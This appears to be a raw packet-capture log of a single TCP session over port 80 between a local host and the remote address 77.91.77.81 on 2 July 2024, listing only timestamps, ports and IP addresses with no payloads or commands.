Jul 2, 2024 04:12:14.461081028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461086988 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461102962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461107969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461123943 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461137056 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461204052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461245060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461275101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461286068 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461301088 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461308956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461314917 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461321115 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461329937 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461340904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461342096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461359024 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461359024 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461368084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461370945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461393118 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461402893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461412907 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461417913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461435080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461436033 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461442947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.461448908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461466074 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.461482048 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.462732077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.462780952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.462794065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.462812901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.462835073 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.462850094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.462992907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463006020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463031054 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463033915 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463043928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463047981 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463061094 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463064909 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463074923 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463082075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463088989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463099957 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463104963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463109970 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463118076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463129044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463138103 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463146925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463148117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463159084 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463164091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463175058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463181019 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463191032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463191986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463205099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463210106 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463222980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463227987 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463238955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463248014 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463251114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463267088 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463273048 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463289976 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463313103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463336945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463347912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463371992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463376999 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463387012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463399887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463406086 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463427067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463428020 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463439941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463443041 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463457108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463458061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463475943 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463491917 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463510990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463521004 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463537931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463550091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463551044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463565111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463572025 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463597059 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.463944912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.463987112 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464035034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464070082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464075089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464107990 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464143038 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464154005 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464170933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464181900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464183092 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464198112 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464205980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464215994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464229107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464231014 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464245081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464252949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464260101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464273930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464281082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464291096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464293957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464313030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464315891 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464322090 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.464339018 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.464355946 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.490748882 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490761995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490786076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490797043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490809917 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490827084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490839958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490850925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490864992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490875006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490888119 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490900040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490914106 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490930080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490930080 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.490936995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.490952969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.491008997 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520365953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520435095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520445108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520452023 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520492077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520503998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520509005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520517111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520528078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520569086 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520581961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520601034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520631075 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520642996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520647049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520665884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520679951 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520756006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520766020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520783901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520797014 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520818949 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520848989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520859957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.520886898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.520904064 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.550868034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.550894022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.550915003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.550925970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.550942898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.550945044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.550957918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.550972939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.551100969 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.551101923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.551101923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.551101923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564609051 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564692974 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564694881 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564707041 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564722061 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564734936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564735889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564747095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564752102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564764023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564775944 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564778090 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564794064 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564796925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564811945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564821005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564826965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564831972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564842939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564855099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564855099 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564866066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564872980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564888000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564888954 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564901114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564908028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564923048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564929962 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564933062 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564944983 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564951897 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.564963102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564977884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.564991951 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565007925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565021038 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565036058 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565047979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565047979 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565063000 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565063953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565073967 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565077066 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565099001 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565100908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565112114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565123081 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565124989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565139055 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565141916 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565154076 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565155029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565166950 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565179110 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565184116 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565196991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565201044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565212011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565224886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565236092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565243959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565244913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565262079 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565274954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565279961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565288067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565300941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565300941 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565310001 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565324068 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565342903 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565387964 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565398932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565414906 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565423965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565423965 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565433979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565440893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565454006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565453053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565466881 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565476894 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565480947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565495968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565500021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565515995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565525055 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565529108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565543890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565543890 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565557957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565561056 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565582991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565604925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565794945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565805912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565823078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565833092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565843105 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565850973 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565862894 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565870047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565884113 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565890074 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565897942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565907955 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565913916 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565923929 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565936089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565937042 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565952063 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565959930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565962076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565979004 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.565984011 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.565995932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566000938 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566008091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566021919 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566023111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566039085 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566035986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566054106 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566060066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566067934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566082001 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566085100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566095114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566108942 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566111088 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566123962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.566131115 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.566154957 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.581945896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.581955910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.581970930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.581995964 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582006931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582021952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582034111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582077980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582091093 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582155943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582173109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582185030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582197905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582212925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.582214117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.582214117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.582214117 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.582231045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.582248926 CEST	49705	80	192.168.2.5	77.91.77.81
